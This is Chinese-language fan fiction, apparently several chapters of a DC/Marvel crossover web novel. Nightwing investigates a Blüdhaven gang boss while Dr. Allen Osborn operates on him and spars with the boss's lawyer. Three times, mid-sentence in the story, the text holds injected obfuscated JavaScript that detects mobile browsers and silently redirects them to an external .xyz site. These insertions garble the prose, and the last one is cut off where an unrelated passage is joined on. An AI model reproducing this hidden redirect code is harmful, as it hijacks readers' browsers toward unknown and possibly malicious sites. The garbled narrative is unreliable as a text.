艾伦嗯嗯啊啊地胡乱点头,心里只想着他终于要进行进入布鲁德海文急诊科之后最危急最有趣的一场手术了。之前他在地狱厨房有过一些相关经验,但那仅限于没有危及生命的外伤治疗和在医学院学过的解剖课程。 这种过分突然、伤势极重的濒死案例他还没有参与过。 他喜欢解剖课,曾无数次幻想自己捧着一颗跳动的心脏或者热乎乎的肝把玩,还想开至少100个脑袋、100个胸腔、100个腹腔,体验一遍所有器官移植手术和所有微创手术。 今天也许能收集到一个了,也不知道什么时候才能全图鉴! 奥斯本医生嘴角开始上扬,眼角眉梢泛起兴奋。 就连话都主动多了起来:“胸腔和腹腔,真不错!希望我能亲手帮他把子弹从身体组织里取出来!你说我能偷偷保留一点他切下来的脾脏吗?我得想想……” 迪克打破了奥斯本医生的小梦想:“……医院到处都是监控,以及如果我没看错的话,那些子弹穿过了他的身体。我找到了弹头,你想要吗?” 奥斯本医生一秒垮起一张小猫批脸。 迪克不放心地护送着奥斯本医生,直到看见医生自己安慰好自己,脚步重新又轻快起来,几乎蹦哒着走进手术室,这才返回医院大厅。 超级英雄夜翼十分严肃地把‘检查医生是否偷偷从手术室里带走不该带的东西’这件事记载在格雷森警官的to do list上。 急诊科现在还是乱哄哄的,这里一直都是整个医院里最乱的地方,比医患办还乱得让人觉得糟心。 埃里克·霍森捏着拐杖,披着警服,十分警惕地坐在大厅的座椅上,用严肃的目光看着周围的医生护士和患者。 至少迪克从来没见过对方这么严肃的表情。 “你在等谁?”夜翼走过去,“如果是想找击伤‘乌贼’的凶手,他们就在警局的地下室,你不想用拳头去和他们亲密交流一下吗?” 非常擅长在地下室殴打罪犯的埃里克摇摇头。 “我猜也许你知道点儿什么。”迪克的眼睛透过多米诺面具紧紧盯着埃里克·霍森脸上的表情,“我可以当一个不会说话的树洞,顺便还能替你解决一些小麻烦,不用客气。” 埃里克掀起眼皮瞅了迪克一眼。 眼角的皱纹、一夜没睡导致的蜡黄脸色和脸上狰狞的伤疤让埃里克看起来又老了不止十岁。 实际上这家伙刚满50而已,还是能再多干几年的黄金年龄。 迪克突然意识到,他以前对埃里克存了太多偏见,虽然这老头看上去油滑又不负责任,实际上或许并非如此。 迪克现在很确定对方一定在暗中调查什么,才会引火烧身。 是在调查‘乌贼’吗? 埃里克确实曾经十分严肃地警告过格雷森警官,别碰‘乌贼’的事。但那时他还以为是埃里克不想招惹凶狠又麻烦的‘乌贼’又或者收了‘乌贼’的保护费。 “我听说布鲁斯和西蒙死了。”埃里克突然说道。 听见布鲁斯的名字,迪克的心脏不受控制地漏跳一拍。 不过他很快反应过来布鲁斯是个很常见的名字,他们警局至少有三个布鲁斯。 埃里克口中的布鲁斯是他们的同事,布鲁斯·里奥。BPD特别行动队的队员,也是今晚负责押送‘乌贼’的警员之一,他已经在第十大街上被奥斯本医生当场宣布死亡。 他和里奥警官不太熟,不过能进入特别行动队也足以说明里奥不是酒囊饭袋。 当一个熟悉的名字和死亡联系在一起的时候,就算那不是自己认识的那个人,心里也难免会很不舒服。 而迪克从来不是能云淡风轻描述任何一场死亡的人,他还记得里奥警官瞪大的双眼和扩散的瞳孔。 何况……布鲁斯这个熟悉的名字和死亡联系在一起的时候不要太多,几乎每天一次。阿福前两天还在电话里抱怨布鲁斯又摔断了他的大腿骨和三根肋骨。 他以前经常做噩梦,直到他后来他尝试用冥想和剧烈运动发泄情绪。 迪克有些走神。他现在不得不承认,他很担心布鲁斯,也很想念和布鲁斯一起在哥谭夜巡的日子。 也许他该抽个时间回去看看。 只要不被布鲁斯发现就好,反正……‘乌贼’的势力也和哥谭有点关系,哈利马戏团最近也要去哥谭巡演,他可以去见见老朋友们。 这统统和蝙蝠侠无关,只是夜翼的任务,他不会让蝙蝠侠看见他的。 好吧,他就是想回去哥谭看看了。 就是不知道奥斯本医生的麦片怎么办…… 杂七杂八的念头像沙尘暴一样突袭了夜翼的大脑,短短一分钟闪过无数种想法,每一个都裹挟着巨大的情绪压力让夜翼忍不住头痛得像是有电钻在他脑子里打地基。 没办法,他太久没好好休息了。 “……我很遗憾。”迪克努力将注意力拉回眼前,他看着埃里克的眼睛轻声说道,“我们赶到的时候已经太迟了。” “凶手是‘乌贼’?” “我对比过弹痕,是的。” “我知道了。” 埃里克的回答让迪克更加确定,这位老油条警官一定正在隐藏什么。 整件事十分奇怪的地方就在于‘乌贼’本人。 原本迪克猜测,在医院袭击埃里克以及黑邦小据点的爆炸都是为了让警局的人没空去支援劫囚事件。但是如果‘乌贼’被成功劫走,他又为什么会留在原地躲起来并且被人击中,危在旦夕? 说明击毙警员、试图劫走‘乌贼’的人,并不是‘乌贼’的手下。 有人想要‘乌贼’死,而不是想救走他。 可是,那些人为什么杀死了警卫,却迟迟没杀死‘乌贼’,还拖延时间到急诊科和他出现? 迪克回忆起当时看见‘乌贼’的情景。 ‘乌贼’很紧张,很害怕,甚至害怕到对任何靠近他的人无差别攻击。 说明他知道有人想来杀他,但他却不清楚对方究竟会以什么身份出现。 时间差。 或许一开始真的有人想救走‘乌贼’——现场除了警员的尸体还有黑邦成员,这印证了‘乌贼’想要越狱这一设想。 但在‘乌贼’即将成功逃走的时候,他发现有人要杀他。 ‘乌贼’对他、奥斯本医生、急救员丹尼尔甚至是BPD的警员们都不放心,那就说明暗杀他的人或许在BPD和黑邦都有内应,又或者对方有更可怕的、操控人的手段。想要‘乌贼’性命的人很神秘很强大,以至于‘乌贼’这样一个管控了一个码头和好几个街区,手下也拥有数十杀手、一大批衷心手下的黑邦头目也只能慌不择路地躲在他身后。 所以‘乌贼’到底招惹了谁? 他现在完全没有任何眉目,只能寄希望于今天抓住的杀手和仍旧在手术室的‘乌贼’。 他的眼神重新落在埃里克身上,心想,或许‘乌贼’和埃里克招惹的是同一个人。格雷森警官并没有和那个人产生交集,所以他没有被报复,这似乎说得通。 布鲁德海文显然还有隐藏在深处的第三股势力,这股势力根深蒂固,甚至渗透了BPD和医院。 “是里奥夫人吗?”护士的声音打断了迪克的思考,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806852|158506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请跟我来这边。” 迪克的心脏又像是被人狠狠捏了一把,因为他知道接下来里奥警官的妻子将会在护士和警察口中得里奥身亡的可怕事实,更糟糕的是,谋杀他丈夫的凶手正在手术室里浪费纳税人的钱接受治疗。 身为重要证人,‘乌贼’必须先活着。 也不知时间过去了多久,也许是一刻钟,也许是一小时。 手术室的灯还未熄灭,隔音效果很不错的会客室里传来女人隐约的痛哭声。 透过玻璃窗,迪克看见原本还保持着风度的里奥夫人抱着他丈夫的衣服,毫无形象地嚎啕大哭,几近晕厥。 “他说今晚要陪我一起去我最喜欢的那家餐厅……我……马上就是我们第1个结婚周年纪念日了,怎么会这样?不……” 路过的医生和护士都安静下来,有人暗暗别过头去,擦掉眼角的泪水。 那顿烛光晚餐的约定恐怕再也没办法实现了。 丹尼尔颓丧地坐在椅子上,看着自己手上属于杀人凶手的鲜血,狠狠给了自己一巴掌。 负责器官捐赠的‘希望之礼’工作人员抱着器官保存箱从门口走进来,按照里奥警官生前立下的遗嘱,他的器官将会被捐献出来,拯救那些尚存希望的病人。 迪克默默闭上眼睛祈祷。 希望泰尔特的死亡之地能让里奥警官感到永恒的幸福和宁静。 ** 另一边,艾伦的手术进行得并不是很顺利。 米勒医生还吊着一只手臂,但作为艾伦的带教老师,他今天必须在场。 操刀手术的是艾伦和另一位外科医生。 “反应挺快的嘛,艾伦。”安迪站在艾伦身后,“知道给他开胸,考虑过REBOA(主动脉球囊阻断)吗?” “未开封的球囊导管成本太高。”艾伦冷冰冰地说道,“除非古德曼女士同意我从垃圾桶里捡一个给他用。” “……下次这种话别在手术室里讲。哦,开胸手法不错,这里……嗯,总之还行吧。”安迪摸着下巴刻薄评价,“香蕉皮训练法看起来很有效果,下周改成洋娃娃吧!听说夜翼是新来的超级英雄,缝一个他怎么样?……你不用这么小心,艾伦,这家伙身上的刀疤不差这一点,你等会缝合的时候能把他胸口那个螺旋纹身缝成竖中指的样子吗?拜托了,医术高超的奥斯本医生!” 奥斯本医生头上蹦出青筋,想让碎嘴子闭上嘴。 “翻他内脏的动作轻一点,手法要像抚摸一朵娇花……话说那个纹身怎么这么眼熟?” 艾伦忍无可忍:“闭上嘴会死吗?” 安迪·米勒在奥斯本医生严厉的眼神中立刻给自己的嘴做了个拉拉链的动作,然后才反应过来:“嘿,你居然敢命令你的老师?!” 在奥斯本医生越发恐怖的眼神中,安迪老师的气场顿时又弱了下来:“听你的听你的,你是老大。” “他现在这样简直活该。”一个护士嘀嘀咕咕地说道,“两位警察死亡,还有无数因为他的毒品和枪支死去的人,他为什么不死在手术台……” “……你们三个。”另一位主刀医生终于忍不住叹了口气,“建议这种话和你们的男朋友或女朋友说,而不是吐槽给医生听。” “哦,悲天悯人的医生。”安迪耸了耸肩,对着护士挤挤眼睛,“还是奥斯本老大更酷一点,对吧?” 冷酷的奥斯本医生捏着‘乌贼’的肝,声音有点不甘心,“……他的心脏和脾脏长得实在不怎么样,我很失望。希望下次有杀手冲着他的脑袋来,那时候我说不定正好轮转到神经外科。” 安迪·米勒一本正经地点点头,“我祝你愿望成真,奥斯本医生。所以接下来看你的了,如果他活下来,今晚我请你喝酒——湖畔酒吧怎么样?” “可别厚此薄彼,安迪。”艾伦对面的主刀医生笑着说道,“带我一个吧。” 手术还在继续进行,不过,接下来几位医生都没有聊天的闲情逸致了。 ‘乌贼’体内的出血点很快被找到,艾伦发现是肝部上方的门脉血管。 子弹击穿了‘乌贼’的门脉血管,甚至还有肝总动脉。 这就意味着,一旦他们撤下主动脉上的止血钳,‘乌贼’就会立刻因为失血过多而死。但是如果继续锁住整个肝脏的血液供给,那‘乌贼’的肝就别想要了,他依旧会死。 “总不能让他现在就因为失血过多死在这里,”艾伦看向另外两位医生,“我从来没设想过从手术室推出一具尸体的场景。” 9.老朋友? 用于器官移植的心脏一般要在医生宣布病人脑死亡后4-6小时后摘取,肝脏在8-12小时内,肾脏在24小时内。因此在里奥夫人和丈夫依依不舍地告别之后,里奥警官的遗体将很快被推进手术室。 这是自愿捐献器官的人一生中进入的最后一间手术室,陪伴里奥警官走过这段路的是他的家人和朋友们。 以往,这条路叫做‘孤独之旅’,因为这里充满充满家人的悲伤的泪水和永远的遗憾。 不过现在,‘孤独之旅’早已经在器官捐献组织的努力下变成了‘荣誉行走’。 这是惯例。 负责器官捐献的‘希望之礼’组织会在征得病人家属的同意下,缓慢地推着病床在医院走廊绕行,愿意参加这个仪式的医院病人和医护人员会站在走廊两侧,目送死者被推入那间最后的手术室。 这是对生命的尊重,也是对慷慨无私的人的纪念。 无论对布鲁德海文这座城市有多么令人失望,无论在场的人们曾经见证过多么黑暗的现实,在这一刻,大家都会因为一位妻子失去丈夫、一个家庭失去一位重要成员而感到难过。每个人都在为这位用自己的器官延续他人生命的慷慨之人默哀。 里奥警官的亲人和朋友们都已经悉数赶到,他们簇拥在病床附近,依次去亲吻里奥警官的额头,最后一次当面祝福他的灵魂得到安宁,祝他步履轻快地走进天堂,再也不用经受人世间的苦痛。 ** 与此同时,艾伦正在古德曼女士的办公室里,经历一场令人厌恶的会议。 “……现在的情况就是这样。”艾伦有些疲惫地晃了晃酸痛的脖子,双手抱胸,眼神里全是不耐烦。 任谁在经历了一场漫长的手术和一整晚的紧急救援后,还不得不坐在这里和一群无关痛痒的人详细汇报有关‘乌贼’的手术情况,都会变得无比暴躁。 艾伦现在很想拿把AK把会议桌对面一直用不善的眼神盯着他看的蠢货全都突突成筛子。 “我们目前只能通过阻断肝部供血的方式防止他因失血过多而立刻死亡,但这种情况持续不了太久。如果没有新的肝脏给他换上,他最多只能再坚持一两天,全看撒旦什么时候叫这个蠢货下地狱……别用这种眼神看着我,你们是想陪他一起去下去玩吗?” 艾伦将病历本递给古德曼女士,然后得到了古德曼女士一个‘适可而止’的眼神。 “抱歉,奥斯本医生比较喜欢开玩笑。”古德曼女士用十分官方的语气当着在场所有人的面袒护奥斯本医生,“压力过大的医生们总有那么点儿古怪的小癖好,不是吗?奥斯本医生是个幽默风趣的年轻人,我们都很欣赏他的敬业与责任感。” “是的,我们总该对年轻人宽容一点,何况奥斯本先生是一位如此优秀的医生!”一个身穿BPD制服的男人对着艾伦友好地点点头,“玩笑真不错,我爱这个!” 不过艾伦对面坐着的两个西装革履的男人看他的眼神变得更加凶狠了。 艾伦一点儿也不怀疑,如果他再多说几句,对面的人说不定就会立刻掏枪,或者趁着他下班的时候开卡车撞死他。 所以他选择再多说几句:“对,我是开玩笑的。病床上那个已经没救了,他绝不可能得到器官移植的机会。至于你们两个令我恶心到无法排出最讨厌NO.1的蠢货,不如猜拳决定一下谁先去追随你们的老大吧。” 古德曼女士依旧是那副严肃的面孔,视线透过眼镜上方盯着在场所有人,最后又给了艾伦一个‘从现在开始闭上嘴别说话’的警告眼神。 布鲁德海文警局的代表和律师、‘乌贼’的律师和法律意义上的妻子、布鲁德海文医院的律师团、负责遗体器官捐献的‘希望之礼’工作人员以及艾伦和米勒医生统统围坐在一张大会议桌旁,每个人脸上挂着不同程度的阴沉表情。 尤其是被艾伦刚刚‘开玩笑’的两个,他们分别是‘乌贼’最信任的手下和‘乌贼’的律师。 ‘乌贼’的妻子缩在他们身后,捂着脸低声哭泣。 ‘乌贼’现在处于深度昏迷状态,无法做出任何决定。但这家伙似乎早有准备,他在布鲁德海文急诊科进行急救的消息刚传出去,他大着肚子的妻子和一脸傲慢的律师就闯进了古德曼女士的办公室。 所以艾伦才没办法马上去休息,不得不陪着这群人坐在这里开会。 ‘乌贼’的律师声称自己的雇主是这场事故的受害者,并且要求在‘乌贼’醒过来之前警察不得靠近。 布鲁德海文警局也陷入两难境地,因为他们没有既找不到证据证明‘乌贼’策划了这场劫囚,也无法证明他们对’乌贼’做了有力保护。 律师表示是布鲁德海文警局和监狱系统的疏忽导致他的老板身受重伤命悬一线,同时布鲁德海文急诊科的不积极救治,导致他老板即将去世。 对方狡猾的律师已经在短短几个小时内收集到了部分证据以证明他们老板愿意改过自新、认真服刑的事实。 所以现在的情况就是,布鲁德海文警局和监狱都很有可能坐上被告席,负担‘乌贼’所有医疗费用的同时赔偿给‘乌贼’一大笔精神损失费。艾伦也惹上了点小麻烦——包括另一位主刀医生和安迪·米勒在内,他们三个也有可能被告上法庭。 ‘乌贼’那个大着肚子的妻子会在审判期间争取到不少陪审团的同情分。 甚至他们的进攻已经开始了——‘乌贼’的律师将这件事包装了一下,并收买了媒体为他们发声。 在今早最显眼的新闻头条中,‘乌贼’费奇·约翰逊先生是个文明守法、按时纳税、对整个社会都怀有高度责任感的好公民,只不过受到生意伙伴的蒙骗,这才一不小心走上贩毒的歧途——现在他已经深刻认识到了自己的错误,他老实认罪,认真服刑,没有为自己狡辩,甚至积极为警方提供线索。 然而,无能的BPD和布鲁德海文监狱却因为看护不力导致有人暗杀了约翰逊先生,甚至差点成功! 约翰逊先生的新婚妻子已经怀孕六个月,可怜的夫人在医院里一度哭晕过去。 更糟糕的是,‘乌贼’名下那个爆炸的据点现在也已经被媒体洗白成无辜受到牵连的‘化工厂’,‘乌贼’的律师要求布鲁德海文警局也要为这间工厂的爆炸负责。 劫囚事件、爆炸事件结合在一起,赚够了人们的眼球,同时还十分契合布鲁德海文警局在外无能的形象。 现在事件的热度还在持续上升,BPD的警员今早起来就发现他们的警车统统被人扎了轮胎,门口还被人喷了‘无能’、‘去死’的油漆。 听说布鲁德海文警局局长气得把办公室都砸了。 这条消息来自今早上班的迪克·格雷森警官。 警官先生对艾伦的人身安全表达了担忧,同时隐秘地告诫艾伦这段时间最好小心一点,如果可以的话,他愿意每天接送医生上下班,顺便包揽医生的早餐和晚餐。 艾伦确实很有可能受到无辜牵连,成为‘乌贼’和他的手下攻击的靶子。 毕竟他现在只是一个‘无权无势’的小医生。 “你们医院甚至让一个实习医生参与如此重大的手术,我认为这是你们的失职。”‘乌贼’的律师微笑着说道,“我们有理由认为你们漠视生命,故意放弃对我的雇主约翰逊先生的积极救治,这一点我会也会在法庭上向法官阐述清楚的。” 艾伦面无表情地甩出自己的USMLE证书,“我怀疑你鼻子底下长的是人体排泄器官,张口就…… 啧,看清楚,我有该死的行医资格。” 他已经烦躁得开始想说脏话了。 都怪地狱厨房。 奥斯本医生的脸色更差了。 要是艾米丽知道他现在其实对纽约街头所有脏话张口就来,肯定会气得敲他脑门。 古德曼女士、安迪·米勒医生和其他在场的医护人员纷纷被奥斯本医生这句十分有味道的话震住了。 毕竟这句话和奥斯本医生光鲜亮丽的外表、十分精致的五官和靠谱的形象形成过分强烈的反差,以至于他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815811|158506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们像是看见了超人抱着蝙蝠侠在遗忘酒吧跳大腿舞。 又或者钢铁侠在热气球上捧着玫瑰花向美国队长告白。 还是经验丰富、见过大世面的古德曼女士干咳一声,最先回过神来。 她微笑着补充道:“奥斯本医生实习期间表现突出,因此我们已经决定提前邀请奥斯本医生正式成为急诊科的住院医师。如果奥斯本医生愿意的话,或许等下我们就可以签订新的合同。以及,我以医院的名义担保,奥斯本医生绝对是我们医院最优秀的医生之一,您的雇主约翰逊先生已经得到了最佳治疗,如果您不认可这一点的话,我们确实可以法庭上见。” 艾伦对着古德曼女士点点头,勉强挤出一个冷冰冰的假笑:“我的荣幸,古德曼女士。另外,我早就买好了一份最高价格的终身医责险,如果这位——啊,抱歉你无聊得让我记不住名字——想要去告我的话,我很欢迎。我的律师团队已经跃跃欲试。” 古德曼女士不动声色地看了一眼神态比‘乌贼’的律师还要傲慢许多的奥斯本医生,悄悄掩盖住眼底的笑意。 于是她打开手机,当着所有人的面拨通了电话并且摁下免提:“奥斯本医生说得没错。一个小时前,他的律师就已经给我打来了电话,并且让我随时联系他——午安,默多克先生,打扰了……” 听筒对面传来一个熟悉的声音。 ‘乌贼’的律师和艾伦本人一起露出一脸吃屎的表情。 艾伦放下翘起来的腿,又不自觉地把手放在膝盖上,换了个乖巧的坐姿。 然后他又想起来这里并不是纽约,于是重新翘起腿双手抱胸,变得更生气了。 他完全不知道为什么讨厌鬼律师会给他的主管打电话!! 更令奥斯本医生心梗的是,在接下来的时间里,他不得不坐在这里听古德曼女士用至少十分钟的时间对他大夸特夸。而电话另一边的讨厌鬼律师则乐呵呵地附和起来,两人针对奥斯本医生究竟有多么优秀达成了高度共识,甚至还约了一顿晚餐。 古德曼女士显然对奥斯本医生自备优秀的律师团这件事十分满意。 虽然奥斯本医生本人并不清楚他拥有这个律师团——他刚刚那么说只是为了唬住对方!他穷得快吃不起麦片了,还请什么狗屁律师?! 他本来打算如果他真的做在被告席上,就上演一出‘我为自己辩护’。 电话那边,律师成熟低沉的声音带着笑意:“艾伦这孩子是我看着长大的,他一直是个遵纪守法乖巧可爱的孩子,现在还成了一位治病救人的医生。听说他拯救了约翰逊先生的生命?这真是太伟大了,我为他骄傲!” 艾伦:…… 他分不清这个混蛋律师是在说真话还是在逗他玩。 肯定是后者! 奥斯本医生脸上端着毫不在意的冷酷表情,耳朵悄悄立了起来,身体也稍稍向前倾。 “正好,我这边有几份有关约翰逊先生的文件需要和约翰逊先生的律师当面核实一下。”默多克律师十分专业地将话题带回正轨,“有关位于哥谭的、属于约翰逊先生的一份产业有些古怪,相关证据我已经提交给布鲁德海文警方和哥谭警方,也许约翰逊先生的妻子和律师愿意为我们答疑解惑?” 就连艾伦都从中听出了威胁之意。 很好,默多克律师温文尔雅不动声色地掏出了杀人不见血的砍刀,他相信对面嚣张跋扈的家伙绝对玩不过黑心又会装瞎子的默多克。 就在他身心愉悦地准备继续对着对面的律师贴脸开嘲讽的时候,讨人嫌的律师的声音又在听筒对面响起来。 古德曼女士将手机递给艾伦。 “我正在赶去布鲁德海文路上,你最近过得还好吗,艾伦?” 与此同时,格雷森警官的消息也发了过来。 “等我忙完这件事就去接你下班怎么样,艾伦?” 奥斯本医生捏着手机,也不知道自己为什么会突然感觉浑身不自在—— 活像一只被捏住命运后颈皮的猫。 10.神秘女人? 另一边的迪克还不清楚他即将遭遇什么,他在警局外的小巷子里匆忙换上属于格雷森警官的制服,前脚刚走进警局后脚就被愤怒的局长叫进了办公室。 接着就是劈头盖脸一顿以停职为开头以开除为结尾的臭骂。胖局长颤巍巍的啤酒肚看上去都愤怒地想把他顶飞出去。 “你以为你们在干什么?”局长唾液横飞,口水差点喷到迪克脸上,“‘乌贼’也是你们能直接招惹的?敢签署拘捕令,那你们就自己去收拾烂摊子吧。” 迪克在心里吐槽,每张拘捕令都是这位局长亲自看过的。当初埃里克申请‘乌贼’拘捕令的时候局长不会不清楚,只不过现在出了事,警局需要有人来背锅。 他这个没有背景的小警员就变成了一只合适的替罪羊。局长话里话外的意思就是让他出去顶罪,主动承认BPD没有问题,是他自作主张抓错了人。 埃里克在他旁边拄着拐杖,突然开口:“逮捕‘乌贼’也是我同意的,他贩毒,证据确凿。” “别以为我不知道你想干什么!”局长更加愤怒,“你在报仇!埃里克,那件事已经过去了,你该知道你他妈的只是一个警察,乌贼可以把你当个屁放掉,但你……你这个蠢货什么都做不了!” 迪克诧异地看了埃里克一眼。 不过埃里克没有向迪克一一解释的义务,他只是懒洋洋地掀起眼皮,和往常一样摆出一副老油条的样子,“便宜他了,但是人真的不是我杀的。” 迪克看着埃里克的样子,恍惚之间想起来一件事。埃里克有从黑邦受贿,然后对他们的非法交易睁一只眼闭一只眼的好习惯。之前和埃里克·霍森保持着‘交易’关系的,是不是‘乌贼’最信任的二把手? 不过埃里克在局长面前绝对不可能承认这件事,而局长手中也没有证据证明埃里克确实与‘乌贼’被谋杀有关。 和艾伦面临的无聊会议一样,迪克这边接受完臭骂之后也并没有让事情得到实质性的进展,他们在局长一声‘快滚’之后离开了办公室。 走廊上,迪克问出了疑惑许久的问题,“……所以,你和‘乌贼’的手下合作?” 这样或许才说得通。 ‘乌贼’的确联系了自己的手下去劫车,但他显然没料到自己的手下是警方的线人…… 说是线人其实并不准确,应该是埃里克主动找上黑邦的人要求合作的,目的确实是为了杀死‘乌贼’。当天押送‘乌贼’的一定是背叛了‘乌贼’的黑邦成员……除了里奥警官之外,还有一位叫西蒙的狱警,恐怕他就是埃里克安插进去的人。 但是西蒙死了,里奥警官也死了。 是‘乌贼’发现了手下的背叛。 埃里克看了迪克一眼,“我早就提醒过你,该吃吃该喝喝,不该你管的闲事别多管——这是布鲁德海文警察的长寿之道。” 迪克冷着脸继续盯着他询问,“你和‘乌贼’的手下合作,让他们假装劫走‘乌贼’,实际上是趁乱杀死他?不对,你的计划没有成功……‘乌贼’反杀了西蒙,他是被另一伙人后来才赶到的人谋杀的。” “贪婪是人的本性,‘乌贼’在这个位置上已经坐了太久,久到有人开始不耐烦。”埃里克点了支烟,“小子,你不适合布鲁德海文警局。你太天真了,带着你阳光灿烂的微笑滚蛋吧。” “你不能这样做。”迪克忍着怒火,“警察有警察必须遵守的规则,你和他们合作一次,后面他们就会要求你配合第二次第三次。这次是谋杀,下次呢?” 迪克自认不是个遵守规矩的人,但他也知道某些底线不能被打破。警察有警察必须遵守的红线,一旦越过,就没有机会回头,哪怕目的是正义的。 “下次就下次再说。”埃里克推开挡在他身前的迪克,“你不是私下里也在和那个有暴力倾向的‘超级英雄’夜翼合作吗?还是说你不清楚超级英雄也是规则之外的存在?规则……你他妈站在布鲁德海文警局的地盘和我谈遵守规则?格雷森,滚回家吃奶吧,或者弄清楚‘乌贼’是什么人再来和我说话!” 埃里克这会儿再也不是医院那个倔强老头的样子,他说完难听话站起身就走,丝毫不管迪克的脸色有多难看。 迪克努力不让自己一拳头砸在埃里克脸上。 有时候他真的很难弄清楚埃里克这个人,他看上去有点底线,但行事作风却和黑邦似乎也没有区别。他自以为在医院里看穿了埃里克的嘴硬心软,结果这家伙又给了他当头一棒。 周围的警员同事们依旧像埃里克说的那样,该吃吃该喝喝,一点儿不关心迪克和埃里克的争执。迪克这才发现,他一直以为自己和警局的同事们保持的良好关心在这一刻显得那么单薄——或许他从来没有了解过自己的同事,也从来没有适应过布鲁德海文警局的行事风格。 可是,他该改变自己吗? 路过的另一个警员拍了拍迪克的肩膀。 埃里克的背影已经消失在走廊尽头。 然而,埃里克还没能带着拳击手套靠近警局地下室,玩一玩布鲁德海文警察和罪犯常玩的小游戏时,有个警员就匆匆跑了进来。 他神色慌张地对着所有人大声喊道:“埃里克,你在吗?昨天你们带回来的家伙死了!全都死了!!” 迪克猛地扭过头去看埃里克,却见埃里克脸上的表情也阴沉了下来。 ** 另一边,奥斯本医生还在古德曼女士的办公室里煎熬。 不管奥斯本医生再怎么担心一些他也不知道那究竟是什么的问题,时间也不会在他的祈求下停驻。 奥斯本医生神游天外,完全无视对面的律师。 ‘乌贼’的手下和他的律师一致认为对面那个嘴毒又讨厌的医生正在故意嘲讽他们。 不知不觉间又给自己拉了一波仇恨值的奥斯本医生半点儿也没有把对面恶意值满点的视线当一回事。反而坐在律师旁边的‘乌贼’的妻子有些吸引他的注意力。 这个一直未曾开口的长发女人看上去并不引人注目,唯一有些特别的就是她那头长长的黑发,长发一直垂到她腰间,披散下来差不多挡住她一大半的脸,让她整个人看起来像是刚从阴雨天里走出来。 她从走进这间会议室开始就一直用两只手捂着脸低低啜泣,让人看不清她的表情。 刚开始艾伦也只把她当作一个无关紧要的人,但是现在那女人正透过指缝用一双黑沉沉的眸子偷偷盯着艾伦看。 在看见艾伦也注意到她的时候,她突然对着艾伦十分诡异地提起了嘴角,露出一个奇怪——大概是笑——的表情。 艾伦皱起眉,刚想说什么,就看见‘乌贼’的律师突然站起身,暴怒地拍了一把桌子,恶狠狠盯着艾伦。 古德曼女士现在是一点儿也不慌,因为靠谱的奥斯本医生有一个靠谱律师。 他们急诊科神秘的宝贝实习生之前甚至财大气粗到常年包养一个律师事务所!终身的!这是默多克先生刚刚亲口承认的。 啧。有钱人。 古德曼女士预感‘乌贼’将会吃大亏。 的确。在核查了艾伦的执业资格和医院的聘用合同后,‘乌贼’的律师明显已经开始着急,现在正在无能狂怒。 “……约翰逊先生的医疗顾问认为,你们并没有对他采用最先进有效的治疗方案……” 古德曼女士抬眸提醒艾伦,这种问题最好还是交给那位默多克律师。 不过她显然高估了艾伦的耐心程度,并且对奥斯本医生的靠谱程度有些过分乐观了。 奥斯本医生‘啪’的一下挂了自己的律师的电话,并且亲自上阵为自己辩护。 “不懂就闭嘴。”艾伦放下交叠的双腿,傲慢地从椅子上站起来,用身高鄙视对面的律师,“在出现心搏骤停和大出血之前介入,才是REBOA的最佳救治时机——你是希望你的雇主术后需要截肢或者急性肾衰竭吗?看起来你比我还更期待病床上那个蠢货死掉?” ‘乌贼’的律师嘴角抽动了一下,扭过头没去看艾伦。 律师说不过艾伦,于是又将枪口重新对准布鲁德海文警局:“或许你们应该给我的老板一个解释,为什么他每年合法缴纳税款之后,得到的是这样的结果。我想关注这件事的民众也在等警局给出一个合理的答案。” 警局的人和医院的人全部都满心无语,但也只能眼睁睁看着一个罪犯和他们大谈特谈合法纳税、司法公正以及医疗体系的不健全。 艾伦显然不是很想放过对方,因为他急需一个靶子来逃避一下即将面对讨厌鬼律师的压力,还有另外一些不太愉快的回忆。 他那双绿眼睛变得幽暗了许多,像是暴风雨前的宁静。 “我猜对了?”艾伦微微倾身向前,紧紧盯着对面律师的表情,“……有意思,你其实很希望你的雇主死亡吧。来吧,告诉我你现在为谁工作?你身边这个女人吗?” 女人的身形微微顿了一下,然后用哭腔回答,“奥斯本医生……有谁会希自己孩子的父亲死掉?费奇他是一个合法的商人,他只是一不小心……” “请你不要胡说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不管怎么说,我的雇主约翰逊先生现在命悬一线。这都是警方的错误!”律师开始胡搅蛮缠。 “你先放下枪!”BPD的警员对着‘乌贼’的手下大喊,“这里是医院!” “是你们先对我方展露威胁!” 艾伦注意到,对面律师和保镖的视线已经开始频频投在女人身上,却又迅速移开。 直到女人微不可察地点了点头。 对峙的局面焦灼了近半分钟,‘乌贼’那边的人放下了手里的枪。 气氛暂时回归十分钟前律师舌灿莲花咄咄逼人的状态。 只不过这下所有人都知道,恐怕今天不商量出来个结果,很难收场了。 “古德曼女士,我依旧认为奥斯本医生在治疗我的雇主时做了错误的医疗决策……” 一旁的谷歌急救员轻轻戳了戳艾伦,脸上露出有些担忧的神色。 他手机上是一段视频,一段被推送的时事新闻。 